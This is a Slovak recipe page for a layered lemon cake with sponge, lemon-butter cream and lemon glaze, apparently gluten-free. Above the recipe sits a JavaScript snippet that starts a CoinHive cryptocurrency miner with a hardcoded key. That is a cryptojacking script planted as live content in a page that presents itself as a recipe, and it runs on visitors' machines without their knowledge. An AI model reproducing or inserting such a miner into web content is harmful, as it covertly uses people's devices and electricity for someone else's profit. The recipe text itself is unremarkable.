

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Cesto: 10 vajec, 450 g práškového cukru, šťava z 1 citróna, 120 g Solamylu, 55 g Promix UNI, 55 g Promix PK
Krém: 700 ml mlieka, 4 PL Solamylu, 1 maslo, 200 g práškový cukor, 1 vanilkový cukor, šťava z 2 citrónov

Poleva: 200 g práškového cukru, šťava z 1 citróna

Cesto: Žĺtky vymiešame so 450 g práškového cukru, potom pridáme šťavu z jedného citróna. Vyšľaháme tuhý sneh z bielkov a opatrne ho zapracujeme do žĺtkovej hmoty spolu s múkou a Solamylom. Cesto rozdelíme na 3 časti a každú upečieme na plechu vyloženom masným papierom.

Krém: v mlieku rozmiešame 4 PL Solamylu a vanilkový cukor a uvaríme hustú kašu. K vychladnutej hmote pridáme vymiešané maslo s práškovým cukrom a šťavu z 2 citrónov. Na plát cesta navrstvíme polovicu krému, prikryjeme druhým plátom, na ktorý natrieme zvyšok krému.

Poleva: V miske vymiešame práškový cukor a šťavu z citróna. Polevu natrieme na vrchný plát a necháme stuhnúť.